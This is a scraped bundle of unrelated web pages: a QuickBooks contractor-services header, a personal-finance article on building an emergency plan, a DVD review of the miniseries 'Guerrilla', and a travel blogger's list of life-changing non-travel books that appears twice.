ContractorWindow ContractorWindow Contractor

Additional QuickBooks Templates, Resources, And Services

QuickBooks Set Up TemplatesSolopreneurQuickBooks Chart Of AccountsFree StuffQuickBooks Item Lists TemplatesConsulting

We Serve Over 100 Types Of Contractors So If Your Type Of Company Is Not Listed

Please Do Not Be Concerned Because If You Are A Contractor

There Is A Good Chance We Can Help You!

Call Now: 206-361-3950

  Additional QuickBooks Templates, Resources, And Services

QuickBooks Set Up Templates   Solopreneur

QuickBooks Chart Of Accounts     Free Stuff

QuickBooks Item Lists Templates     Consulting

  We Serve Over 100 Types Of Contractors So If Your Type Of Company Is Not Listed

Please Do Not Be Concerned Because If You Are A Contractor

There Is A Good Chance We Can Help You!

Call Now: 206-361-3950

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The New Emergency Fund: Seven Components of an Emergency Plan

It's important to save for a rainy day. In this guide, we give you ideas on where to put an emergency fund and how much you should save.

The world of personal finance is rife with oversimplified platitudes and one-size-fits-all advice. No where is this more evidenced than in the often-repeated advice about emergency funds.

Typical advice says that you should save three to six months' worth of expenses in a high-yield savings account. Some financial gurus opt for eight months' worth of expenses saved up, while others say four is enough.

Still others advocate for starting with a couple thousand dollars and beefing up the fund after you've paid off all debts.

How much you should have in an emergency fund and where you should keep it is more personal than this. In some situations, a smaller emergency fund may work just fine. And for some people, a low-interest home equity line of credit can be a reasonable emergency fund. In other situations, having this much cash on hand is a good plan.

But high-yield savings accounts are really providing barely enough to keep up with inflation. Stashing a ton of cash in a savings account may not be the best option. In this case, you might consider having a broader, more diverse emergency plan. This can help you make it through true emergencies without losing out on the interest your money could be earning.

If you've never thought through what you'd do in a financial emergency, consider creating an emergency plan that includes the following components:

1. “Mattress cash” stash

Clearly, I don't actually mean hiding cash in your mattress, necessarily. But it's not a bad idea to stash a small amount of cash around your home. If your ATM network is down for some reason and you need cash, you can get what's in your home. I'm not talking about keeping a ton of cash in your home. This should be maybe two or three hundred dollars.

After all, in the case of a truly catastrophic world event, that cash won't have much value, anyway. So we're not really planning for that type of situation. This is more the type of situation where you've lost your wallet and had to cancel your debit and credit cards. You're waiting on replacements, but you need to put gas in the car and groceries in the pantry right now. In this situation, you could make a couple hundred dollars work for a week or two.

2. Liquid account

Unless there's a worldwide banking catastrophe, you should be able to access the next portion of your emergency fund within one day. You might consider putting this portion of your emergency fund into a money market or high-yield savings account. The idea is to earn as much interest as possible without losing FDIC insurance and easy access to your cash.

How much should you put into this fund? It really depends. The idea is that this should be enough to get you through from a job loss to the first paycheck at a new job. Many experts recommend having one to three months' worth of expenses in this type of account, if not more.

The key here, of  course, is that you're saving expenses, not your actual income. If you make $4,000 per month but only have to spend $2,000 per month to meet your basic needs, you should use $2,000 as your monthly goal. So for three months' worth of expenses, you'd only need $6,000 in savings.

Your thoughts for this portion of your emergency plan may differ, depending on your current situation. In a two-income family, for instance, you may not need as many months' worth of savings. After all, the chances of both working adults losing their jobs at the same time are probably fairly slim. On the other hand, if your particular career suffers from an unstable job market, consider saving even more in this part of your plan.

3. Certificate of Deposit ladder

You can earn a bit more interest on your emergency savings if you use a short-term Certificate of Deposit ladder. With a CD ladder, you progressively invest in more certificates of deposit, which each have their own maturity date. As each CD matures, you can either pull out the money, penalty-free, to cover your expenses. Or you can reinvest it if you're not in the middle of an emergency.

Combined with liquid savings, a CD ladder can be a good way to get through an emergency without losing out on slightly higher APRs. For instance, say you save three months' worth of expenses in your liquid account. Then you create a CD ladder of three-month CDs. You're then guaranteed to be able to tap at least one CD by the time you run out of liquid emergency fund savings. And if you need to keep pulling from the CD ladder, you can.

This way, you can take advantage of potentially higher CD rates, while avoiding penalties for withdrawing from your CDs early.

4. Investments

As you're planning how to save for retirement, consider potential emergencies, too. In an emergency, you can withdraw your contributions (not your earnings) from a Roth IRA. Depending on your broker, these withdrawals could be free from penalties, taxes, and fees. Once the emergency has calmed down, you can contribute the withdrawals back into your Roth IRA.

You can also consider tapping into your taxable investments, if need be. This isn't always the best option, especially if your investments are down. But if a true emergency, it can be a way to cover your expenses and potentially get some tax benefits while doing it. Remember, too, that if you sell when your investments are worth more than when they were purchases, you'll face some tax implications. Just account for that when determining whether and how much to withdraw from your investments.

The best-case scenario is, of course, to have enough in liquid and intermediate savings not to have to tap your investments in an emergency. But understanding how this could potentially work is a good idea when you're planning how and how much to invest.

One more item of note along these lines: do not rely on a 401(k) loan during an emergency. If you should lose your job, the loan would come due immediately. That just makes an already tenuous situation even more risky.

5. Credit

Using credit in an emergency can be a slippery slope. But it can be used wisely as part of a broader emergency plan.

For instance, if you're currently paying hefty interest on credit cards, you should put your extra cash into paying them down rather than saving for an emergency. But you'll want to be sure you don't go back into high-interest debt if an emergency does arise. In this case, saving a couple thousand dollars to start can be helpful. This can help you get through unexpected car repairs or other smaller emergencies.

Then consider keeping open a home equity line of credit to use for larger emergencies. With today's lower interest rates, you could finance a longer-term emergency without paying interest through the nose.

Another option is to keep your eyes open for credit cards with an introductory 0% APR on purchases. These cards are widely available to those with good credit. And you can often get one at the drop of a hat. This could get you access to a line of credit in an emergency. Hopefully the introductory offer would give you enough time to get through the emergency and then repay the balance before the introductory period ended. Luckily, credit card issuers are now offering these introductory periods for anywhere from 12 to 18 months, and sometimes more.

6. A bare bones budget

On an everyday, non-emergency basis, you probably have lots of little–or even large–expenses that you could cut out in a true emergency. It's a good idea to know ahead of time what this would look like. Take a look at your spending for the past three months, and determine which expenses you could have cut with ease and which you could have cut with a bit of work or sacrifice.

This might include things like your cable subscription, other entertainment-related expenses, any dining out expenses, extravagant grocery-related expenses, and more. See just how much you could have cut out of your budget, and put that on paper. That's your bare bones budget. If you had absolutely no money coming in, that's how much you'd need to survive.

The exercise of writing down your bare bones budget is helpful for a couple of reasons:

It helps you determine your emergency savings goals. Remember, saving for an emergency is about saving for essential expenses, not your normal, I-have-a-good-income spending. Writing down your bare minimum budget lets you see what you actually need to save for emergencies.

It'll give you a reference point in an emergency. When an emergency hits, you'll be too busy looking for your next job or putting out the proverbial financial fires to think too much about basics like budgeting. So having this bare bones budget written down ahead of time can be helpful. You can use this document to know which services to cancel right away and how to budget until the emergency is over.

You'll see how much extra you're really spending. Finally, writing down your bare bones budget is great even if you aren't in the middle of an emergency. It'll help you see just how much of your daily spending is truly necessary versus extra. While you don't need to live on this strict budget all the time, it's a good way to gauge if your spending is reasonable or getting out of control.

7. Stock up on essentials

I'm not advocating becoming a doomsday prepper, but having a stocked pantry and medicine cabinet can make emergencies easier to get through. And it's not that hard to plan ahead. Just add a few extra cans of beans or other non-perishables to your cart each time you go to the grocery store. Shop in bulk for paper goods like toilet paper and paper towel. And keep your medicine cabinet well-stocked with first aid supplies, over-the-counter medicines, and such. And if you're on any prescriptions, be sure to keep them up-to-date and refilled as often as possible.

These essentials may not get you through a several month long period of unemployment. But if you can get through the first month or two without having to buy more than milk and eggs from the grocery store, your emergency savings will go a long way. This is just a simple step to take over time so that you can cut expenses at the drop of a hat.

When you think about your emergency plan as more of a comprehensive plan, you'll feel more prepared for potential emergencies. You'll also know how to save for emergencies without your savings being eaten away by today's still-low interest rates. Do you have a broader emergency plan? What does it look like?

The post The New Emergency Fund: Seven Components of an Emergency Plan appeared first on Consumerism Commentary.

[spryfilm]

“Guerrilla” (2017)

TV Series/Drama

Episodes: Six

Created by: John Ridley

Featuring:  Idris Elba, Freida Pinto and Babou Ceesay

It was always going to be difficult to follow up an Oscar winning screenplay, particularly for a film like “12 Years a Slave” (2013), but John Ridley had his work cut out for him with this story of politics and racism, in the just released on DVD miniseries “Guerrilla” (2017). What Ridley has done is remarkable; he has created a dense drama about a time that many are too young or ignorant to probably even realise happened. It was a time when many of the police were nothing more than racist sexist bullies, where woman’s right meant nothing, the only kind of person to be was white male and privileged. It echoes the state of many countries that elected right wing governments who are now facing questions regarding how they want to treat their citizens. It would be easy to say this is a reflection of Trump as well as his cohorts but it has happened in the UK, Australia, as well as shifts of governments much like the recent German elections – the world os in a truly sad state.

In many ways the world was a very different place in which “Guerrilla” is set, but there was a growing tide of radical activism in many countries that sought to challenge the status quo of the idea of power, where this power flows from as well its general legitimacy when minorities were being discussed. Representation was a massive issue in terms of getting across ideas that were not white, male or straight to a public that needed to know why they should care about issues that did not have a direct effect on them. There can be such a disconnect between the haves who feel by right they should have a say the way society works, as well as the people who are seen as poor minorities who actually live within that society.

“Guerrilla” is really primarily a love story set against the backdrop of one of the most politically explosive times in U.K. history. A politically active couple (played by Freida Pinto and Babou Ceesay) have their relationship and values tested, when they liberate a political prisoner and form a radical underground cell in 1970s London.

This is not only a gripping drama as well as an edge of your seat thriller, but it also acts as a kind of historical document that through some fiction illustrates what it was like to be non-white to a larger extent, as well as a non-white male to a lesser extent. Through each episode we move through some pretty tough decisions that are made by each character as they arrive at some harsh realties about the country they are living in as well as what some of the power players within the country want to do. These decisions will have adverse effects on not only their lives, but the wider community in which they all live. What Ridley does is to show viewers from a ground level, some of the events that not only provide motivation, but also that these groups are not isolated by geography. Throughout the world, in the US with the Weatherman as well as Germany with the Baader- Meinhof Group these people can see the only way forward is to use rhetoric as well as public displays of revolution to highlight their plight. We see what it not only takes for someone to see injustice in their society or community, but also how far they can be pushed before they see a need to take drastic real, as well as socially destructive action against the government.

The cast is large, as you would expect with a socially conscious miniseries, it is led by Freida Pinto and Babou Ceesay, who are the definite leads, with able support from superstar Idris Elba (who also acts as a producer). Pinto and Ceesay are excellent in their roles as partners who are involved in political activism as well as attempting to make lives for themselves. They play off each other wonderfully in both their personal lives as well as their political radicalized one. The other interesting aspect of their performances is that they do they feel apart from the power structures that surround them, but Pinto is an Indian woman and Ceesay is an African man – so they are in a way culturally disparate from each other. While I enjoyed having Elba in this show I could not help but feel like it was some kind of ‘stunt’ casting, in that I was taken out of the plot when he appeared. I am in no way taking away from his talent, obviously if you have someone of his caliber available then you grab it with both hands, but I felt he was a little miscast, he is an imposing figure onscreen, sometimes his bigger than life parts can cast a long shadow. On the other hand it is some of the smaller parts that are the most memorable, in particular the always-talented Zawe Ashton playing Omega is a highlight as is Daniel Mays, starting to become a staple on British television, his talent is always evident.

The series as I have said is written by Ridley, he has also directed three of the six episodes, which he has done very well. There can be nothing better than writing a series, then directing a large portion, you know the material inside and out, with any questions being answered by the author himself. The remaining three episodes have been directed by Sam Miller who has a great eye, as well as having an affinity for directing period pieces as is evident with “Guerrilla”, possibly the most important and serious show he has worked on in his career. Ridley has chosen well with his directing partner, Miller has an extensive CV in directing television shows over a wide range of genres, as well as working with top-notch talent, “Guerrilla” is proof that he has to be one of the top television directors working in the UK today.

This is not a perfect show, but if you are looking for socially relevant television that has a definite beginning, middle and end then this is for you. However there is a major part missing or at least reduced, that is the part of the African woman (actually generally women in general), as well the part they played during this time of major upheaval as well as challenge to the norms and attitudes of the time. “Guerrilla” is written from a male perspective, which as I have said shows, the main characters are mostly men. The leading female character is not of African descent, but of Indian decent in Freida Pinto who is no doubt an excellent actress as well as compelling, inhabiting her role with both anger, as well as empathy – it would have been a little more even if she had been of African descent.

If you want to watch a show that is easily binge worthy, as well as a history lesson and a timely reminder of how much society has not changed then you will love this show. With so many average television existing, as well as many that leave you with cliffhangers at the end of the final episode I found “Guerrilla” refreshing as well as compelling, I recommend this highly.

“Guerrilla” is out now on DVD.

Freida Pinto as Jas Mitra in Guerrilla (Episode 4). Photo: Sky UK Limited/SHOWTIME

Guerrilla, First Look Starring Zawe Ashton © Sky UK Ltd.

DVD review: “Guerrilla” (2017) “Guerrilla” (2017) TV Series/Drama Episodes: Six Created by: John Ridley Featuring:  Idris Elba, Freida Pinto and Babou Ceesay…

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13 Non-Travel Books That Changed My Life

I read many different kinds of books. It’s not all travel. Last month, I shared some of my recent favorite travel books. This month, I wanted to share the non-travel books that have had the most impact on my life and feel have made me a better person. These created paradigm shifts in my thinking. They just made me go “Ohh damn!” They got to interested in new ideas, literature, personal development, and so much more.

If you’re looking to improve your life, change a habit, expand your mind, or just want something interesting to read, here are twelve of the most influential books in my life:

7 Habits of Highly Effective People, by Stephen R. Covey

One of the most famous books in the world, this book taught me habits to create a better lifestyle including planning out your week, sleeping more, being proactive in life, the importance of creating win-win situations, and the importance of continuous improvement. It articulated the small things I forget to do to make me a more organized and thoughtful person. If you haven’t read it, you really must! This book will help you become less mindless in your actions and more thoughtful overall. Even if you pick up just one tip to better organize your life in this chaotic world, it will be worth it.  

The Power of Habit, by Charles Duhigg

Why do we do what we do? Are we hard-wired to repeat habits, even when they are bad? How do we break them and form good ones? This bestselling book discusses how we form habits and gives specific strategies about how to break the bad ones and start good ones. It really made me think about the negative habits in my life, why I keep doing them, and how I can change that. I started thinking of all the excuses I tell myself that keep negative habits in my life. Because of this book, I started sleeping at a more regular time, reading again, drinking less, and being more productive. I can’t recommend it enough.  

Titan, by Ron Chernow

The biography of J.D. Rockefeller and his rise to power is long, dense, and worth every second. Rockefeller was a fascinating man – ruthless in business yet a devout Christian who founded some the biggest universities and health institutions the world has even seen. While I have no desire to be as ruthless as him, this biography was a good lesson in how frugality, slowness, and thoughtfulness can lead to success in life and business. J.D. never moved quickly, was financially conservative, and always reinvested in his company business. His methodical thinking made me rethink how I made business decisions.  

Losing My Virginity, by Richard Branson

Richard Branson’s autobiography was super interesting (this guy does a lot of insane things) and it inspired me to create my non-profit (FLYTE). I’d been thinking about it for years but reading how Branson just went for things he believed in and worked out the details later inspired me. It’s in stark contrast to Rockefeller, but Branson’s “why wait?” philosophy on starting projects makes a lot of sense. There’s never going to be a perfect time to start something so why wait? Just like there’s no perfect moment to travel, there’s no perfect moment to do something great. Just take the leap!  

How to Win Friends and Influence People, by Dale Carnegie

Dale Carnegie’s multi-decade old, but still relevant, book was instrumental in helping me shut my mouth. Ignoring the sensational title, this book ties heavily into what the 7 Habits of Highly Successful People says about listening to when people talk, not being a know it all, and empathizing with others as a way to connect and then influence them. As an introverted person (see Quiet below), this book helped me learn to talk to people better…not in a Machiavellian way but in a way that made me better at handling social situations.  

Quiet, by Susan Cain

I’m an introvert in an extroverted world. I would rather read books and sit by myself than be at a big party filled with strangers. I know that sounds weird since I travel all the time and meet people but when I’m with my friends, I get social anxiety about meeting strangers. This renowned book looks at why the world is so extroverted, how that affects us, and lessons for dealing with both introverts and extroverts. As I read through it, I saw myself in the author’s examples and her author’s lessons on balancing your inner and outer space helped me deal with my social anxiety.  

What Got You Here Won’t Get You There, by Marshall Goldsmith

Written by a management consultant, this book is a guide for executives to become better managers. However, it’s much more than that. It’s a book on how to listen, behave, and think better. Its premise is that if you want to jump up to the next station in life, you’ll need a different set of skills – not educational skills – but interpersonal skills. Successful people interact well with others and this book talks about the small things, like looking at your phone during lunch or multitasking at a meeting, that send signals to people you’re not really there. This book got me to focus on my relationships more.  

Mindless Eating, by Brian Wansink, Ph.D.

Every day we consume food but how aware are we when it comes to what we eat? This book illuminates the insidious ways society creeps in larger portions and mindless eating habits on us that make us gain weight and develop bad skills. This isn’t a book that’s going to just tell you to eat healthier, it shows all the ways society and commercials indoctrinate us to subconsciously eat more food, from growing plate sizes to bulk shopping to “super sizing it.” This book changed how I think about food, consume food, and guard against the insidious nature of calorie creep! I’ve stopped my mindless eating and have been a lot healthier since.  

The 48 Laws of Power, by Robert Greene

Written by legendary writer Robert Greene, this book features 48 rules for living a masterful, powerful life. It features historical examples that reinforce the rules and what happens to those who break them. Slightly Machiavellian, I’ve found these “laws” helpful in dealing with my business, strangers, and situations where it is good to have the upper hand (like when you want to argue a bill with Comcast). I find these tips to be more helpful in a workplace environment than in everyday life (mostly because I have no desire to “rule” people or manipulate my friends). It’s oddly very stoic in parts. This book made me think more strategically in my life.  

Fast Food Nation, by Eric Schlosser

When I was in college, a friend handed me this book and, after reading it, I became a vegetarian. Actually, I tried going organic but, in 2002, organic was even more expensive than it is now. This book opened up my eyes to the crap we put in food, the horrible conditions animals live in, and how poorly we treat food workers. Organic, locally grown, and sustainable are all buzzwords these days, and while people are definitely more conscious of what they eat, I still feel like we are too far removed from the farm. Understanding where our food comes from is essential in changing how we eat and this book did just that…and still does thirteen years later. Making better food choices leads to a happy, healthier life.  

The Ecology of Commerce, by Paul Hawken

When I was still working in a cubicle, I did a lot of volunteer work with the environmental organization, The Sierra Club. I wanted to meld my desire for success with my passion for the environment but I didn’t think the two were compatible until I read this seminal book on sustainable development. It opened my eyes to the possibility that you could create a business and be environmentally-friendly at the same. More that, it changed my consumer habits, helped me make more environmentally-friendly purchases, and showed me how I could be less wasteful. It was one of the most influential books I read in my 20s and was the reason I decided to do something that changed the world. I never went into sustainable development, but I like to think this website makes a positive impact in the world.  

The ONE Thing, by Gary Keller

You can’t walk into any bookstore these days without seeing this book prominently displayed. Short a book for a flight, I finally picked it up – and devoured it. It was excellent, and a really quick and easy read. I loved how he framed everything around asking yourself what is the one thing you can do to make your life better – daily, weekly, yearly. He hits so many negative aspects of our lives spot on – multi-tasking, the psychology of switching, to the power of planning and systems. This book reminded me of the things I knew to do but wasn’t and it was the wake up call I needed to finally do them.  

The Checklist Manifesto, by Atul Gawande

While this book talks a lot about the systems hospitals and doctors used to reduce medical errors, there is a lot to be extrapolated. There’s power in checklists; they ensure nothing is missed and help you verify the work that has been done. He even quotes my old boss from when I was working in healthcare (who helped pioneer surgical team processes). Reading this book changed how I view procedures and how this website operates (my team actually has procedure documents for everything we do) but it also gave me the idea to create lists and structures in my own personal life.  

Les Miserables, by Victor Hugo

I read this book when I was 14 years old. At the end of class, when we would get five minutes to chat to friends, I’d take out the unabridged version of this book and get lost in Hugo’s world. This book made me love reading. It turned me on to the power of the classics. From there it was on to Dumas, Dickens, Austen, and so many other 18th and 19th century writers. I’d blow through their tomes in school, captivated by their vivid imagery and detailed writing. And, in turn, these books improved my writing, vocabulary, and love of literature.  

When Breath Becomes Air, by Paul Kalanithi

At the age of 36, Paul Kalanithi was diagnosed with Stage IV lung cancer. In this beautifully written book, Kalanithi tells his story up until the end (his wife writes the post-script as he did not finish the book before his death). This powerful book (I dare you not to cry) ruminates on what makes life worth living in the face of death. What do you do when you know you don’t have much time left? We all die but I think most of us never really think about it. It’s just something that happens far into the future. This book will make you think profoundly about your life and what you prioritize.  

A Farewell to Arms, by Ernest Hemingway

Ernest Hemingway is my favorite author of all time. Apparently, he was a huge jerk, but he wrote like few others and his writing always moves me. When I was in high school, I read this book and it made me want to be a writer. When I finished it, I said, “I want to write like that.” In fact, in tenth grade, I tried to write a novel that was very much like this book simply because I wanted to be like Hemingway and copying him was the best way I could think of to become a successful writer. I had visions of being a young writing prodigy (spoiler: I was not), however, I kept that loving of writing and a few years ago my dream of being author came to fruition. Somewhere a 16-year-old me is smiling. Even if you don’t want to be a writer, read this book. It’s one of the best books ever written.

***************So there you have it. These books made me reshape my life – often in drastic ways – and I’ve never once regretted reading them. They are thought-provoking and I encourage you to read them, if not to at least to see a different perspective on things.

Love to read? If you’re a book junkie like I am, join our monthly book club where I send you a list of the best books I’ve recently read. You’ll get a list of 3-5 suggested books sent once a month! It’s free to join! Just enter your name and email below to sign up:

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Find some of my other book recommendations here, here, here, or here! Or, you can sign up for my monthly book club here.

The post 13 Non-Travel Books That Changed My Life appeared first on Nomadic Matt's Travel Site.

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13 Non-Travel Books That Changed My Life

I read many different kinds of books. It’s not all travel. Last month, I shared some of my recent favorite travel books. This month, I wanted to share the non-travel books that have had the most impact on my life and feel have made me a better person. These created paradigm shifts in my thinking. They just made me go “Ohh damn!” They got to interested in new ideas, literature, personal development, and so much more.

If you’re looking to improve your life, change a habit, expand your mind, or just want something interesting to read, here are twelve of the most influential books in my life:

7 Habits of Highly Effective People, by Stephen R. Covey

One of the most famous books in the world, this book taught me habits to create a better lifestyle including planning out your week, sleeping more, being proactive in life, the importance of creating win-win situations, and the importance of continuous improvement. It articulated the small things I forget to do to make me a more organized and thoughtful person. If you haven’t read it, you really must! This book will help you become less mindless in your actions and more thoughtful overall. Even if you pick up just one tip to better organize your life in this chaotic world, it will be worth it.  

The Power of Habit, by Charles Duhigg

Why do we do what we do? Are we hard-wired to repeat habits, even when they are bad? How do we break them and form good ones? This bestselling book discusses how we form habits and gives specific strategies about how to break the bad ones and start good ones. It really made me think about the negative habits in my life, why I keep doing them, and how I can change that. I started thinking of all the excuses I tell myself that keep negative habits in my life. Because of this book, I started sleeping at a more regular time, reading again, drinking less, and being more productive. I can’t recommend it enough.  

Titan, by Ron Chernow

The biography of J.D. Rockefeller and his rise to power is long, dense, and worth every second. Rockefeller was a fascinating man – ruthless in business yet a devout Christian who founded some the biggest universities and health institutions the world has even seen. While I have no desire to be as ruthless as him, this biography was a good lesson in how frugality, slowness, and thoughtfulness can lead to success in life and business. J.D. never moved quickly, was financially conservative, and always reinvested in his company business. His methodical thinking made me rethink how I made business decisions.  

Losing My Virginity, by Richard Branson

Richard Branson’s autobiography was super interesting (this guy does a lot of insane things) and it inspired me to create my non-profit (FLYTE). I’d been thinking about it for years but reading how Branson just went for things he believed in and worked out the details later inspired me. It’s in stark contrast to Rockefeller, but Branson’s “why wait?” philosophy on starting projects makes a lot of sense. There’s never going to be a perfect time to start something so why wait? Just like there’s no perfect moment to travel, there’s no perfect moment to do something great. Just take the leap!  

How to Win Friends and Influence People, by Dale Carnegie

Dale Carnegie’s multi-decade old, but still relevant, book was instrumental in helping me shut my mouth. Ignoring the sensational title, this book ties heavily into what the 7 Habits of Highly Successful People says about listening to when people talk, not being a know it all, and empathizing with others as a way to connect and then influence them. As an introverted person (see Quiet below), this book helped me learn to talk to people better…not in a Machiavellian way but in a way that made me better at handling social situations.  

Quiet, by Susan Cain

I’m an introvert in an extroverted world. I would rather read books and sit by myself than be at a big party filled with strangers. I know that sounds weird since I travel all the time and meet people but when I’m with my friends, I get social anxiety about meeting strangers. This renowned book looks at why the world is so extroverted, how that affects us, and lessons for dealing with both introverts and extroverts. As I read through it, I saw myself in the author’s examples and her author’s lessons on balancing your inner and outer space helped me deal with my social anxiety.  

What Got You Here Won’t Get You There, by Marshall Goldsmith

Written by a management consultant, this book is a guide for executives to become better managers. However, it’s much more than that. It’s a book on how to listen, behave, and think better. Its premise is that if you want to jump up to the next station in life, you’ll need a different set of skills – not educational skills – but interpersonal skills. Successful people interact well with others and this book talks about the small things, like looking at your phone during lunch or multitasking at a meeting, that send signals to people you’re not really there. This book got me to focus on my relationships more.  

Mindless Eating, by Brian Wansink, Ph.D.

Every day we consume food but how aware are we when it comes to what we eat? This book illuminates the insidious ways society creeps in larger portions and mindless eating habits on us that make us gain weight and develop bad skills. This isn’t a book that’s going to just tell you to eat healthier, it shows all the ways society and commercials indoctrinate us to subconsciously eat more food, from growing plate sizes to bulk shopping to “super sizing it.” This book changed how I think about food, consume food, and guard against the insidious nature of calorie creep! I’ve stopped my mindless eating and have been a lot healthier since.  

The 48 Laws of Power, by Robert Greene

Written by legendary writer Robert Greene, this book features 48 rules for living a masterful, powerful life. It features historical examples that reinforce the rules and what happens to those who break them. Slightly Machiavellian, I’ve found these “laws” helpful in dealing with my business, strangers, and situations where it is good to have the upper hand (like when you want to argue a bill with Comcast). I find these tips to be more helpful in a workplace environment than in everyday life (mostly because I have no desire to “rule” people or manipulate my friends). It’s oddly very stoic in parts. This book made me think more strategically in my life.  

Fast Food Nation, by Eric Schlosser

When I was in college, a friend handed me this book and, after reading it, I became a vegetarian. Actually, I tried going organic but, in 2002, organic was even more expensive than it is now. This book opened up my eyes to the crap we put in food, the horrible conditions animals live in, and how poorly we treat food workers. Organic, locally grown, and sustainable are all buzzwords these days, and while people are definitely more conscious of what they eat, I still feel like we are too far removed from the farm. Understanding where our food comes from is essential in changing how we eat and this book did just that…and still does thirteen years later. Making better food choices leads to a happy, healthier life.  

The Ecology of Commerce, by Paul Hawken

When I was still working in a cubicle, I did a lot of volunteer work with the environmental organization, The Sierra Club. I wanted to meld my desire for success with my passion for the environment but I didn’t think the two were compatible until I read this seminal book on sustainable development. It opened my eyes to the possibility that you could create a business and be environmentally-friendly at the same. More that, it changed my consumer habits, helped me make more environmentally-friendly purchases, and showed me how I could be less wasteful. It was one of the most influential books I read in my 20s and was the reason I decided to do something that changed the world. I never went into sustainable development, but I like to think this website makes a positive impact in the world.  

The ONE Thing, by Gary Keller

You can’t walk into any bookstore these days without seeing this book prominently displayed. Short a book for a flight, I finally picked it up – and devoured it. It was excellent, and a really quick and easy read. I loved how he framed everything around asking yourself what is the one thing you can do to make your life better – daily, weekly, yearly. He hits so many negative aspects of our lives spot on – multi-tasking, the psychology of switching, to the power of planning and systems. This book reminded me of the things I knew to do but wasn’t and it was the wake up call I needed to finally do them.  

The Checklist Manifesto, by Atul Gawande

While this book talks a lot about the systems hospitals and doctors used to reduce medical errors, there is a lot to be extrapolated. There’s power in checklists; they ensure nothing is missed and help you verify the work that has been done. He even quotes my old boss from when I was working in healthcare (who helped pioneer surgical team processes). Reading this book changed how I view procedures and how this website operates (my team actually has procedure documents for everything we do) but it also gave me the idea to create lists and structures in my own personal life.  

Les Miserables, by Victor Hugo

I read this book when I was 14 years old. At the end of class, when we would get five minutes to chat to friends, I’d take out the unabridged version of this book and get lost in Hugo’s world. This book made me love reading. It turned me on to the power of the classics. From there it was on to Dumas, Dickens, Austen, and so many other 18th and 19th century writers. I’d blow through their tomes in school, captivated by their vivid imagery and detailed writing. And, in turn, these books improved my writing, vocabulary, and love of literature.  

When Breath Becomes Air, by Paul Kalanithi

At the age of 36, Paul Kalanithi was diagnosed with Stage IV lung cancer. In this beautifully written book, Kalanithi tells his story up until the end (his wife writes the post-script as he did not finish the book before his death). This powerful book (I dare you not to cry) ruminates on what makes life worth living in the face of death. What do you do when you know you don’t have much time left? We all die but I think most of us never really think about it. It’s just something that happens far into the future. This book will make you think profoundly about your life and what you prioritize.  

A Farewell to Arms, by Ernest Hemingway

Ernest Hemingway is my favorite author of all time. Apparently, he was a huge jerk, but he wrote like few others and his writing always moves me. When I was in high school, I read this book and it made me want to be a writer. When I finished it, I said, “I want to write like that.” In fact, in tenth grade, I tried to write a novel that was very much like this book simply because I wanted to be like Hemingway and copying him was the best way I could think of to become a successful writer. I had visions of being a young writing prodigy (spoiler: I was not), however, I kept that loving of writing and a few years ago my dream of being author came to fruition. Somewhere a 16-year-old me is smiling. Even if you don’t want to be a writer, read this book. It’s one of the best books ever written.

***************So there you have it. These books made me reshape my life – often in drastic ways – and I’ve never once regretted reading them. They are thought-provoking and I encourage you to read them, if not to at least to see a different perspective on things.

Love to read? If you’re a book junkie like I am, join our monthly book club where I send you a list of the best books I’ve recently read. You’ll get a list of 3-5 suggested books sent once a month! It’s free to join! Just enter your name and email below to sign up:

Success! Now check your email to confirm your subscription.

There was an error submitting your subscription. Please try again.

Email Address

I'd like to receive the free email course. Yes! I want to read more!

Find some of my other book recommendations here, here, here, or here! Or, you can sign up for my monthly book club here.

The post 13 Non-Travel Books That Changed My Life appeared first on Nomadic Matt's Travel Site.

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